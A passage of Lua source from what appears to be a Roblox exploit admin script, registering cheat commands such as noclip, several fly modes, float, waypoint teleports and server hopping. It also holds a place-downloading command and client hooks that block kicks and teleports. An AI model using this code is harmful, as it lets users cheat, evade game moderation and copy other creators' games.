SINFOGUI.players.Text = #players.. " Player(s)"
SINFOGUI.appearance.Text = "Appearance: " ..speaker.CharacterAppearanceId
local seconds = math.floor(workspace.DistributedGameTime)
local minutes = math.floor(workspace.DistributedGameTime / 60)
local hours = math.floor(workspace.DistributedGameTime / 60 / 60)
local seconds = seconds - (minutes * 60)
local minutes = minutes - (hours * 60)
if hours < 1 then if minutes < 1 then
SINFOGUI.Time.Text = seconds .. " Second(s)" else
SINFOGUI.Time.Text = minutes .. " Minute(s), " .. seconds .. " Second(s)"
end
else
SINFOGUI.Time.Text = hours .. " Hour(s), " .. minutes .. " Minute(s), " .. seconds .. " Second(s)"
end
wait(1)
until SINFOGUI.Parent == nil
end)
end)
addcmd("jobid", {}, function(args, speaker)
toClipboard("roblox://placeId=" .. PlaceId .. "&gameInstanceId=" .. JobId)
end)
addcmd('notifyjobid',{},function(args, speaker)
notify('JobId / PlaceId',JobId..' / '..PlaceId)
end)
addcmd('breakloops',{'break'},function(args, speaker)
lastBreakTime = tick()
end)
addcmd('gametp',{'gameteleport'},function(args, speaker)
TeleportService:Teleport(args[1])
end)
addcmd("rejoin", {"rj"}, function(args, speaker)
if #Players:GetPlayers() <= 1 then
Players.LocalPlayer:Kick("\nRejoining...")
wait()
TeleportService:Teleport(PlaceId, Players.LocalPlayer)
else
TeleportService:TeleportToPlaceInstance(PlaceId, JobId, Players.LocalPlayer)
end
end)
addcmd("autorejoin", {"autorj"}, function(args, speaker)
GuiService.ErrorMessageChanged:Connect(function()
execCmd("rejoin")
end)
notify("Auto Rejoin", "Auto rejoin enabled")
end)
addcmd("serverhop", {"shop"}, function(args, speaker)
-- thanks to Amity for fixing
local servers = {}
local req = game:HttpGet("https://games.roblox.com/v1/games/" .. PlaceId .. "/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true")
local body = HttpService:JSONDecode(req)
if body and body.data then
for i, v in next, body.data do
if type(v) == "table" and tonumber(v.playing) and tonumber(v.maxPlayers) and v.playing < v.maxPlayers and v.id ~= JobId then
table.insert(servers, 1, v.id)
end
end
end
if #servers > 0 then
TeleportService:TeleportToPlaceInstance(PlaceId, servers[math.random(1, #servers)], Players.LocalPlayer)
else
return notify("Serverhop", "Couldn't find a server.")
end
end)
addcmd("exit", {}, function(args, speaker)
game:Shutdown()
end)
local Noclipping = nil
addcmd('noclip',{},function(args, speaker)
Clip = false
wait(0.1)
local function NoclipLoop()
if Clip == false and speaker.Character ~= nil then
for _, child in pairs(speaker.Character:GetDescendants()) do
if child:IsA("BasePart") and child.CanCollide == true and child.Name ~= floatName then
child.CanCollide = false
end
end
end
end
Noclipping = RunService.Stepped:Connect(NoclipLoop)
if args[1] and args[1] == 'nonotify' then return end
notify('Noclip','Noclip Enabled')
end)
addcmd('clip',{'unnoclip'},function(args, speaker)
if Noclipping then
Noclipping:Disconnect()
end
Clip = true
if args[1] and args[1] == 'nonotify' then return end
notify('Noclip','Noclip Disabled')
end)
addcmd('togglenoclip',{},function(args, speaker)
if Clip then
execCmd('noclip')
else
execCmd('clip')
end
end)
FLYING = false
QEfly = true
iyflyspeed = 1
vehicleflyspeed = 1
function sFLY(vfly)
local plr = Players.LocalPlayer
local char = plr.Character or plr.CharacterAdded:Wait()
local humanoid = char:FindFirstChildOfClass("Humanoid")
if not humanoid then
repeat task.wait() until char:FindFirstChildOfClass("Humanoid")
humanoid = char:FindFirstChildOfClass("Humanoid")
end
if flyKeyDown or flyKeyUp then
flyKeyDown:Disconnect()
flyKeyUp:Disconnect()
end
local T = getRoot(char)
local CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
local lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
local SPEED = 0
local function FLY()
FLYING = true
local BG = Instance.new('BodyGyro')
local BV = Instance.new('BodyVelocity')
BG.P = 9e4
BG.Parent = T
BV.Parent = T
BG.MaxTorque = Vector3.new(9e9, 9e9, 9e9)
BG.CFrame = T.CFrame
BV.Velocity = Vector3.new(0, 0, 0)
BV.MaxForce = Vector3.new(9e9, 9e9, 9e9)
task.spawn(function()
repeat task.wait()
local camera = workspace.CurrentCamera
if not vfly and humanoid then
humanoid.PlatformStand = true
end
if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0 then
SPEED = 50
elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0) and SPEED ~= 0 then
SPEED = 0
end
if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 or (CONTROL.Q + CONTROL.E) ~= 0 then
BV.Velocity = ((camera.CFrame.LookVector * (CONTROL.F + CONTROL.B)) + ((camera.CFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - camera.CFrame.p)) * SPEED
lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and (CONTROL.Q + CONTROL.E) == 0 and SPEED ~= 0 then
BV.Velocity = ((camera.CFrame.LookVector * (lCONTROL.F + lCONTROL.B)) + ((camera.CFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - camera.CFrame.p)) * SPEED
else
BV.Velocity = Vector3.new(0, 0, 0)
end
BG.CFrame = camera.CFrame
until not FLYING
CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
SPEED = 0
BG:Destroy()
BV:Destroy()
if humanoid then humanoid.PlatformStand = false end
end)
end
flyKeyDown = UserInputService.InputBegan:Connect(function(input, processed)
if input.KeyCode == Enum.KeyCode.W then
CONTROL.F = (vfly and vehicleflyspeed or iyflyspeed)
elseif input.KeyCode == Enum.KeyCode.S then
CONTROL.B = - (vfly and vehicleflyspeed or iyflyspeed)
elseif input.KeyCode == Enum.KeyCode.A then
CONTROL.L = - (vfly and vehicleflyspeed or iyflyspeed)
elseif input.KeyCode == Enum.KeyCode.D then
CONTROL.R = (vfly and vehicleflyspeed or iyflyspeed)
elseif input.KeyCode == Enum.KeyCode.E and QEfly then
CONTROL.Q = (vfly and vehicleflyspeed or iyflyspeed)*2
elseif input.KeyCode == Enum.KeyCode.Q and QEfly then
CONTROL.E = -(vfly and vehicleflyspeed or iyflyspeed)*2
end
pcall(function() camera.CameraType = Enum.CameraType.Track end)
end)
flyKeyUp = UserInputService.InputEnded:Connect(function(input, processed)
if input.KeyCode == Enum.KeyCode.W then
CONTROL.F = 0
elseif input.KeyCode == Enum.KeyCode.S then
CONTROL.B = 0
elseif input.KeyCode == Enum.KeyCode.A then
CONTROL.L = 0
elseif input.KeyCode == Enum.KeyCode.D then
CONTROL.R = 0
elseif input.KeyCode == Enum.KeyCode.E then
CONTROL.Q = 0
elseif input.KeyCode == Enum.KeyCode.Q then
CONTROL.E = 0
end
end)
FLY()
end
function NOFLY()
FLYING = false
if flyKeyDown or flyKeyUp then flyKeyDown:Disconnect() flyKeyUp:Disconnect() end
if Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then
Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
end
pcall(function() workspace.CurrentCamera.CameraType = Enum.CameraType.Custom end)
end
local velocityHandlerName = randomString()
local gyroHandlerName = randomString()
local mfly1
local mfly2
local unmobilefly = function(speaker)
pcall(function()
FLYING = false
local root = getRoot(speaker.Character)
root:FindFirstChild(velocityHandlerName):Destroy()
root:FindFirstChild(gyroHandlerName):Destroy()
speaker.Character:FindFirstChildWhichIsA("Humanoid").PlatformStand = false
mfly1:Disconnect()
mfly2:Disconnect()
end)
end
local mobilefly = function(speaker, vfly)
unmobilefly(speaker)
FLYING = true
local root = getRoot(speaker.Character)
local camera = workspace.CurrentCamera
local v3none = Vector3.new()
local v3zero = Vector3.new(0, 0, 0)
local v3inf = Vector3.new(9e9, 9e9, 9e9)
local controlModule = require(speaker.PlayerScripts:WaitForChild("PlayerModule"):WaitForChild("ControlModule"))
local bv = Instance.new("BodyVelocity")
bv.Name = velocityHandlerName
bv.Parent = root
bv.MaxForce = v3zero
bv.Velocity = v3zero
local bg = Instance.new("BodyGyro")
bg.Name = gyroHandlerName
bg.Parent = root
bg.MaxTorque = v3inf
bg.P = 1000
bg.D = 50
mfly1 = speaker.CharacterAdded:Connect(function()
local bv = Instance.new("BodyVelocity")
bv.Name = velocityHandlerName
bv.Parent = root
bv.MaxForce = v3zero
bv.Velocity = v3zero
local bg = Instance.new("BodyGyro")
bg.Name = gyroHandlerName
bg.Parent = root
bg.MaxTorque = v3inf
bg.P = 1000
bg.D = 50
end)
mfly2 = RunService.RenderStepped:Connect(function()
root = getRoot(speaker.Character)
camera = workspace.CurrentCamera
if speaker.Character:FindFirstChildWhichIsA("Humanoid") and root and root:FindFirstChild(velocityHandlerName) and root:FindFirstChild(gyroHandlerName) then
local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid")
local VelocityHandler = root:FindFirstChild(velocityHandlerName)
local GyroHandler = root:FindFirstChild(gyroHandlerName)
VelocityHandler.MaxForce = v3inf
GyroHandler.MaxTorque = v3inf
if not vfly then humanoid.PlatformStand = true end
GyroHandler.CFrame = camera.CoordinateFrame
VelocityHandler.Velocity = v3none
local direction = controlModule:GetMoveVector()
if direction.X > 0 then
VelocityHandler.Velocity = VelocityHandler.Velocity + camera.CFrame.RightVector * (direction.X * ((vfly and vehicleflyspeed or iyflyspeed) * 50))
end
if direction.X < 0 then
VelocityHandler.Velocity = VelocityHandler.Velocity + camera.CFrame.RightVector * (direction.X * ((vfly and vehicleflyspeed or iyflyspeed) * 50))
end
if direction.Z > 0 then
VelocityHandler.Velocity = VelocityHandler.Velocity - camera.CFrame.LookVector * (direction.Z * ((vfly and vehicleflyspeed or iyflyspeed) * 50))
end
if direction.Z < 0 then
VelocityHandler.Velocity = VelocityHandler.Velocity - camera.CFrame.LookVector * (direction.Z * ((vfly and vehicleflyspeed or iyflyspeed) * 50))
end
end
end)
end
addcmd('fly',{},function(args, speaker)
if not IsOnMobile then
NOFLY()
wait()
sFLY()
else
mobilefly(speaker)
end
if args[1] and isNumber(args[1]) then
iyflyspeed = args[1]
end
end)
addcmd('flyspeed',{'flysp'},function(args, speaker)
local speed = args[1] or 1
if isNumber(speed) then
iyflyspeed = speed
end
end)
addcmd('unfly',{'nofly','novfly','unvehiclefly','novehiclefly','unvfly'},function(args, speaker)
if not IsOnMobile then NOFLY() else unmobilefly(speaker) end
end)
addcmd('vfly',{'vehiclefly'},function(args, speaker)
if not IsOnMobile then
NOFLY()
wait()
sFLY(true)
else
mobilefly(speaker, true)
end
if args[1] and isNumber(args[1]) then
vehicleflyspeed = args[1]
end
end)
addcmd('togglevfly',{},function(args, speaker)
if FLYING then
if not IsOnMobile then NOFLY() else unmobilefly(speaker) end
else
if not IsOnMobile then sFLY(true) else mobilefly(speaker, true) end
end
end)
addcmd('vflyspeed',{'vflysp','vehicleflyspeed','vehicleflysp'},function(args, speaker)
local speed = args[1] or 1
if isNumber(speed) then
vehicleflyspeed = speed
end
end)
addcmd('qefly',{'flyqe'},function(args, speaker)
if args[1] == 'false' then
QEfly = false
else
QEfly = true
end
end)
addcmd('togglefly',{},function(args, speaker)
if FLYING then
if not IsOnMobile then NOFLY() else unmobilefly(speaker) end
else
if not IsOnMobile then sFLY() else mobilefly(speaker) end
end
end)
CFspeed = 50
addcmd('cframefly', {'cfly'}, function(args, speaker)
if args[1] and isNumber(args[1]) then
CFspeed = args[1]
end
-- Full credit to peyton#9148 (apeyton)
speaker.Character:FindFirstChildOfClass('Humanoid').PlatformStand = true
local Head = speaker.Character:WaitForChild("Head")
Head.Anchored = true
if CFloop then CFloop:Disconnect() end
CFloop = RunService.Heartbeat:Connect(function(deltaTime)
local moveDirection = speaker.Character:FindFirstChildOfClass('Humanoid').MoveDirection * (CFspeed * deltaTime)
local headCFrame = Head.CFrame
local camera = workspace.CurrentCamera
local cameraCFrame = camera.CFrame
local cameraOffset = headCFrame:ToObjectSpace(cameraCFrame).Position
cameraCFrame = cameraCFrame * CFrame.new(-cameraOffset.X, -cameraOffset.Y, -cameraOffset.Z + 1)
local cameraPosition = cameraCFrame.Position
local headPosition = headCFrame.Position
local objectSpaceVelocity = CFrame.new(cameraPosition, Vector3.new(headPosition.X, cameraPosition.Y, headPosition.Z)):VectorToObjectSpace(moveDirection)
Head.CFrame = CFrame.new(headPosition) * (cameraCFrame - cameraPosition) * CFrame.new(objectSpaceVelocity)
end)
end)
addcmd('uncframefly',{'uncfly'},function(args, speaker)
if CFloop then
CFloop:Disconnect()
speaker.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
local Head = speaker.Character:WaitForChild("Head")
Head.Anchored = false
end
end)
addcmd('cframeflyspeed',{'cflyspeed'},function(args, speaker)
if isNumber(args[1]) then
CFspeed = args[1]
end
end)
Floating = false
floatName = randomString()
addcmd('float', {'platform'},function(args, speaker)
Floating = true
local pchar = speaker.Character
if pchar and not pchar:FindFirstChild(floatName) then
task.spawn(function()
local Float = Instance.new('Part')
Float.Name = floatName
Float.Parent = pchar
Float.Transparency = 1
Float.Size = Vector3.new(2,0.2,1.5)
Float.Anchored = true
local FloatValue = -3.1
Float.CFrame = getRoot(pchar).CFrame * CFrame.new(0,FloatValue,0)
notify('Float','Float Enabled (Q = down & E = up)')
qUp = IYMouse.KeyUp:Connect(function(KEY)
if KEY == 'q' then
FloatValue = FloatValue + 0.5
end
end)
eUp = IYMouse.KeyUp:Connect(function(KEY)
if KEY == 'e' then
FloatValue = FloatValue - 1.5
end
end)
qDown = IYMouse.KeyDown:Connect(function(KEY)
if KEY == 'q' then
FloatValue = FloatValue - 0.5
end
end)
eDown = IYMouse.KeyDown:Connect(function(KEY)
if KEY == 'e' then
FloatValue = FloatValue + 1.5
end
end)
floatDied = speaker.Character:FindFirstChildOfClass('Humanoid').Died:Connect(function()
FloatingFunc:Disconnect()
Float:Destroy()
qUp:Disconnect()
eUp:Disconnect()
qDown:Disconnect()
eDown:Disconnect()
floatDied:Disconnect()
end)
local function FloatPadLoop()
if pchar:FindFirstChild(floatName) and getRoot(pchar) then
Float.CFrame = getRoot(pchar).CFrame * CFrame.new(0,FloatValue,0)
else
FloatingFunc:Disconnect()
Float:Destroy()
qUp:Disconnect()
eUp:Disconnect()
qDown:Disconnect()
eDown:Disconnect()
floatDied:Disconnect()
end
end
FloatingFunc = RunService.Heartbeat:Connect(FloatPadLoop)
end)
end
end)
addcmd('unfloat',{'nofloat','unplatform','noplatform'},function(args, speaker)
Floating = false
local pchar = speaker.Character
notify('Float','Float Disabled')
if pchar:FindFirstChild(floatName) then
pchar:FindFirstChild(floatName):Destroy()
end
if floatDied then
FloatingFunc:Disconnect()
qUp:Disconnect()
eUp:Disconnect()
qDown:Disconnect()
eDown:Disconnect()
floatDied:Disconnect()
end
end)
addcmd('togglefloat',{},function(args, speaker)
if Floating then
execCmd('unfloat')
else
execCmd('float')
end
end)
swimming = false
local oldgrav = workspace.Gravity
local swimbeat = nil
addcmd('swim',{},function(args, speaker)
if not swimming and speaker and speaker.Character and speaker.Character:FindFirstChildWhichIsA("Humanoid") then
oldgrav = workspace.Gravity
workspace.Gravity = 0
local swimDied = function()
workspace.Gravity = oldgrav
swimming = false
end
local Humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid")
gravReset = Humanoid.Died:Connect(swimDied)
local enums = Enum.HumanoidStateType:GetEnumItems()
table.remove(enums, table.find(enums, Enum.HumanoidStateType.None))
for i, v in pairs(enums) do
Humanoid:SetStateEnabled(v, false)
end
Humanoid:ChangeState(Enum.HumanoidStateType.Swimming)
swimbeat = RunService.Heartbeat:Connect(function()
pcall(function()
speaker.Character.HumanoidRootPart.Velocity = ((Humanoid.MoveDirection ~= Vector3.new() or UserInputService:IsKeyDown(Enum.KeyCode.Space)) and speaker.Character.HumanoidRootPart.Velocity or Vector3.new())
end)
end)
swimming = true
end
end)
addcmd('unswim',{'noswim'},function(args, speaker)
if speaker and speaker.Character and speaker.Character:FindFirstChildWhichIsA("Humanoid") then
workspace.Gravity = oldgrav
swimming = false
if gravReset then
gravReset:Disconnect()
end
if swimbeat ~= nil then
swimbeat:Disconnect()
swimbeat = nil
end
local Humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid")
local enums = Enum.HumanoidStateType:GetEnumItems()
table.remove(enums, table.find(enums, Enum.HumanoidStateType.None))
for i, v in pairs(enums) do
Humanoid:SetStateEnabled(v, true)
end
end
end)
addcmd('toggleswim',{},function(args, speaker)
if swimming then
execCmd('unswim')
else
execCmd('swim')
end
end)
addcmd('setwaypoint',{'swp','setwp','spos','saveposition','savepos'},function(args, speaker)
local WPName = tostring(getstring(1))
if getRoot(speaker.Character) then
notify('Modified Waypoints',"Created waypoint: "..getstring(1))
local torso = getRoot(speaker.Character)
WayPoints[#WayPoints + 1] = {NAME = WPName, COORD = {math.floor(torso.Position.X), math.floor(torso.Position.Y), math.floor(torso.Position.Z)}, GAME = PlaceId}
if AllWaypoints ~= nil then
AllWaypoints[#AllWaypoints + 1] = {NAME = WPName, COORD = {math.floor(torso.Position.X), math.floor(torso.Position.Y), math.floor(torso.Position.Z)}, GAME = PlaceId}
end
end
refreshwaypoints()
updatesaves()
end)
addcmd('waypointpos',{'wpp','setwaypointposition','setpos','setwaypoint','setwaypointpos'},function(args, speaker)
local WPName = tostring(getstring(1))
if getRoot(speaker.Character) then
notify('Modified Waypoints',"Created waypoint: "..getstring(1))
WayPoints[#WayPoints + 1] = {NAME = WPName, COORD = {args[2], args[3], args[4]}, GAME = PlaceId}
if AllWaypoints ~= nil then
AllWaypoints[#AllWaypoints + 1] = {NAME = WPName, COORD = {args[2], args[3], args[4]}, GAME = PlaceId}
end
end
refreshwaypoints()
updatesaves()
end)
addcmd('waypoints',{'positions'},function(args, speaker)
if SettingsOpen == false then SettingsOpen = true
Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.5, true, nil)
CMDsF.Visible = false
end
KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
AliasesFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
PluginsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
PositionsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
wait(0.5)
SettingsHolder.Visible = false
maximizeHolder()
end)
waypointParts = {}
addcmd('showwaypoints',{'showwp','showwps'},function(args, speaker)
execCmd('hidewaypoints')
wait()
for i,_ in pairs(WayPoints) do
local x = WayPoints[i].COORD[1]
local y = WayPoints[i].COORD[2]
local z = WayPoints[i].COORD[3]
local part = Instance.new("Part")
part.Size = Vector3.new(5,5,5)
part.CFrame = CFrame.new(x,y,z)
part.Parent = workspace
part.Anchored = true
part.CanCollide = false
table.insert(waypointParts,part)
local view = Instance.new("BoxHandleAdornment")
view.Adornee = part
view.AlwaysOnTop = true
view.ZIndex = 10
view.Size = part.Size
view.Parent = part
end
for i,v in pairs(pWayPoints) do
local view = Instance.new("BoxHandleAdornment")
view.Adornee = pWayPoints[i].COORD[1]
view.AlwaysOnTop = true
view.ZIndex = 10
view.Size = pWayPoints[i].COORD[1].Size
view.Parent = pWayPoints[i].COORD[1]
table.insert(waypointParts,view)
end
end)
addcmd('hidewaypoints',{'hidewp','hidewps'},function(args, speaker)
for i,v in pairs(waypointParts) do
v:Destroy()
end
waypointParts = {}
end)
addcmd('waypoint',{'wp','lpos','loadposition','loadpos'},function(args, speaker)
local WPName = tostring(getstring(1))
if speaker.Character then
for i,_ in pairs(WayPoints) do
if tostring(WayPoints[i].NAME):lower() == tostring(WPName):lower() then
local x = WayPoints[i].COORD[1]
local y = WayPoints[i].COORD[2]
local z = WayPoints[i].COORD[3]
getRoot(speaker.Character).CFrame = CFrame.new(x,y,z)
end
end
for i,_ in pairs(pWayPoints) do
if tostring(pWayPoints[i].NAME):lower() == tostring(WPName):lower() then
getRoot(speaker.Character).CFrame = CFrame.new(pWayPoints[i].COORD[1].Position)
end
end
end
end)
tweenSpeed = 1
addcmd('tweenspeed',{'tspeed'},function(args, speaker)
local newSpeed = args[1] or 1
if tonumber(newSpeed) then
tweenSpeed = tonumber(newSpeed)
end
end)
addcmd('tweenwaypoint',{'twp'},function(args, speaker)
local WPName = tostring(getstring(1))
if speaker.Character then
for i,_ in pairs(WayPoints) do
local x = WayPoints[i].COORD[1]
local y = WayPoints[i].COORD[2]
local z = WayPoints[i].COORD[3]
if tostring(WayPoints[i].NAME):lower() == tostring(WPName):lower() then
TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = CFrame.new(x,y,z)}):Play()
end
end
for i,_ in pairs(pWayPoints) do
if tostring(pWayPoints[i].NAME):lower() == tostring(WPName):lower() then
TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = CFrame.new(pWayPoints[i].COORD[1].Position)}):Play()
end
end
end
end)
addcmd('walktowaypoint',{'wtwp'},function(args, speaker)
local WPName = tostring(getstring(1))
if speaker.Character then
for i,_ in pairs(WayPoints) do
local x = WayPoints[i].COORD[1]
local y = WayPoints[i].COORD[2]
local z = WayPoints[i].COORD[3]
if tostring(WayPoints[i].NAME):lower() == tostring(WPName):lower() then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
speaker.Character:FindFirstChildOfClass('Humanoid').WalkToPoint = Vector3.new(x,y,z)
end
end
for i,_ in pairs(pWayPoints) do
if tostring(pWayPoints[i].NAME):lower() == tostring(WPName):lower() then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
speaker.Character:FindFirstChildOfClass('Humanoid').WalkToPoint = Vector3.new(pWayPoints[i].COORD[1].Position)
end
end
end
end)
addcmd('deletewaypoint',{'dwp','dpos','deleteposition','deletepos'},function(args, speaker)
for i,v in pairs(WayPoints) do
if v.NAME:lower() == tostring(getstring(1)):lower() then
notify('Modified Waypoints',"Deleted waypoint: " .. v.NAME)
table.remove(WayPoints, i)
end
end
if AllWaypoints ~= nil and #AllWaypoints > 0 then
for i,v in pairs(AllWaypoints) do
if v.NAME:lower() == tostring(getstring(1)):lower() then
if not v.GAME or v.GAME == PlaceId then
table.remove(AllWaypoints, i)
end
end
end
end
for i,v in pairs(pWayPoints) do
if v.NAME:lower() == tostring(getstring(1)):lower() then
notify('Modified Waypoints',"Deleted waypoint: " .. v.NAME)
table.remove(pWayPoints, i)
end
end
refreshwaypoints()
updatesaves()
end)
addcmd('clearwaypoints',{'cwp','clearpositions','cpos','clearpos'},function(args, speaker)
WayPoints = {}
pWayPoints = {}
refreshwaypoints()
updatesaves()
AllWaypoints = {}
notify('Modified Waypoints','Removed all waypoints')
end)
addcmd('cleargamewaypoints',{'cgamewp'},function(args, speaker)
for i,v in pairs(WayPoints) do
if v.GAME == PlaceId then
table.remove(WayPoints, i)
end
end
if AllWaypoints ~= nil and #AllWaypoints > 0 then
for i,v in pairs(AllWaypoints) do
if v.GAME == PlaceId then
table.remove(AllWaypoints, i)
end
end
end
for i,v in pairs(pWayPoints) do
if v.GAME == PlaceId then
table.remove(pWayPoints, i)
end
end
refreshwaypoints()
updatesaves()
notify('Modified Waypoints','Deleted game waypoints')
end)
local coreGuiTypeNames = {
-- predefined aliases
["inventory"] = Enum.CoreGuiType.Backpack,
["leaderboard"] = Enum.CoreGuiType.PlayerList,
["emotes"] = Enum.CoreGuiType.EmotesMenu
}
-- Load the full list of enums
for _, enumItem in ipairs(Enum.CoreGuiType:GetEnumItems()) do
coreGuiTypeNames[enumItem.Name:lower()] = enumItem
end
addcmd('enable',{},function(args, speaker)
local input = args[1] and args[1]:lower()
if input then
if input == "reset" then
StarterGui:SetCore("ResetButtonCallback", true)
else
local coreGuiType = coreGuiTypeNames[input]
if coreGuiType then
StarterGui:SetCoreGuiEnabled(coreGuiType, true)
end
end
end
end)
addcmd('disable',{},function(args, speaker)
local input = args[1] and args[1]:lower()
if input then
if input == "reset" then
StarterGui:SetCore("ResetButtonCallback", false)
else
local coreGuiType = coreGuiTypeNames[input]
if coreGuiType then
StarterGui:SetCoreGuiEnabled(coreGuiType, false)
end
end
end
end)
local invisGUIS = {}
addcmd('showguis',{},function(args, speaker)
for i,v in pairs(PlayerGui:GetDescendants()) do
if (v:IsA("Frame") or v:IsA("ImageLabel") or v:IsA("ScrollingFrame")) and not v.Visible then
v.Visible = true
if not FindInTable(invisGUIS,v) then
table.insert(invisGUIS,v)
end
end
end
end)
addcmd('unshowguis',{},function(args, speaker)
for i,v in pairs(invisGUIS) do
v.Visible = false
end
invisGUIS = {}
end)
local hiddenGUIS = {}
addcmd('hideguis',{},function(args, speaker)
for i,v in pairs(PlayerGui:GetDescendants()) do
if (v:IsA("Frame") or v:IsA("ImageLabel") or v:IsA("ScrollingFrame")) and v.Visible then
v.Visible = false
if not FindInTable(hiddenGUIS,v) then
table.insert(hiddenGUIS,v)
end
end
end
end)
addcmd('unhideguis',{},function(args, speaker)
for i,v in pairs(hiddenGUIS) do
v.Visible = true
end
hiddenGUIS = {}
end)
function deleteGuisAtPos()
pcall(function()
local guisAtPosition = PlayerGui:GetGuiObjectsAtPosition(IYMouse.X, IYMouse.Y)
for _, gui in pairs(guisAtPosition) do
if gui.Visible == true then
gui:Destroy()
end
end
end)
end
local deleteGuiInput
addcmd('guidelete',{},function(args, speaker)
deleteGuiInput = UserInputService.InputBegan:Connect(function(input, gameProcessedEvent)
if not gameProcessedEvent then
if input.KeyCode == Enum.KeyCode.Backspace then
deleteGuisAtPos()
end
end
end)
notify('GUI Delete Enabled','Hover over a GUI and press backspace to delete it')
end)
addcmd('unguidelete',{'noguidelete'},function(args, speaker)
if deleteGuiInput then deleteGuiInput:Disconnect() end
notify('GUI Delete Disabled','GUI backspace delete has been disabled')
end)
local wasStayOpen = StayOpen
addcmd('hideiy',{},function(args, speaker)
isHidden = true
wasStayOpen = StayOpen
if StayOpen == true then
StayOpen = false
On.BackgroundTransparency = 1
end
minimizeNum = 0
minimizeHolder()
if not (args[1] and tostring(args[1]) == 'nonotify') then notify('IY Hidden','You can press the prefix key to access the command bar') end
end)
addcmd('showiy',{'unhideiy'},function(args, speaker)
isHidden = false
minimizeNum = -20
if wasStayOpen then
maximizeHolder()
StayOpen = true
On.BackgroundTransparency = 0
else
minimizeHolder()
end
end)
addcmd('rec', {'record'}, function(args, speaker)
return COREGUI:ToggleRecording()
end)
addcmd('screenshot', {'scrnshot'}, function(args, speaker)
return COREGUI:TakeScreenshot()
end)
addcmd('togglefs', {'togglefullscreen'}, function(args, speaker)
return GuiService:ToggleFullscreen()
end)
addcmd('inspect', {'examine'}, function(args, speaker)
for _, v in ipairs(getPlayer(args[1], speaker)) do
GuiService:CloseInspectMenu()
GuiService:InspectPlayerFromUserId(Players[v].UserId)
end
end)
addcmd("savegame", {"saveplace"}, function(args, speaker)
if saveinstance then
notify("Loading", "Downloading game. This will take a while")
saveinstance()
notify("Game Saved", "Saved place to the workspace folder within your exploit folder.")
else
notify("Incompatible Exploit", "Your exploit does not support this command (missing saveinstance)")
end
end)
addcmd('clearerror',{'clearerrors'},function(args, speaker)
GuiService:ClearError()
end)
addcmd('clientantikick',{'antikick'},function(args, speaker)
if not hookmetamethod then
return notify('Incompatible Exploit','Your exploit does not support this command (missing hookmetamethod)')
end
local LocalPlayer = Players.LocalPlayer
local oldhmmi
local oldhmmnc
local oldKickFunction
if hookfunction then
oldKickFunction = hookfunction(LocalPlayer.Kick, function() end)
end
oldhmmi = hookmetamethod(game, "__index", function(self, method)
if self == LocalPlayer and method:lower() == "kick" then
return error("Expected ':' not '.' calling member function Kick", 2)
end
return oldhmmi(self, method)
end)
oldhmmnc = hookmetamethod(game, "__namecall", function(self, ...)
if self == LocalPlayer and getnamecallmethod():lower() == "kick" then
return
end
return oldhmmnc(self, ...)
end)
notify('Client Antikick','Client anti kick is now active (only effective on localscript kick)')
end)
allow_rj = true
addcmd('clientantiteleport',{'antiteleport'},function(args, speaker)
if not hookmetamethod then
return notify('Incompatible Exploit','Your exploit does not support this command (missing hookmetamethod)')
end
local TeleportService = TeleportService
local oldhmmi
local oldhmmnc
oldhmmi = hookmetamethod(game, "__index", function(self, method)
if self == TeleportService then
if method:lower() == "teleport" then
return error("Expected ':' not '.' calling member function Kick", 2)
elseif method == "TeleportToPlaceInstance" then
return error("Expected ':' not '.' calling member function TeleportToPlaceInstance", 2)
end
end
return oldhmmi(self, method)
end)
oldhmmnc = hookmetamethod(game, "__namecall", function(self, ...)
if self == TeleportService and getnamecallmethod():lower() == "teleport" or getnamecallmethod() == "TeleportToPlaceInstance" then
return
end
return oldhmmnc(self, ...)
end)
notify('Client AntiTP','Client anti teleport is now active (only effective on localscript teleport)')
end)
addcmd('allowrejoin',{'allowrj'},function(args, speaker)
if args[1] and args[1] == 'false' then
allow_rj = false
notify('Client AntiTP','Allow rejoin set to false')
else
allow_rj = true
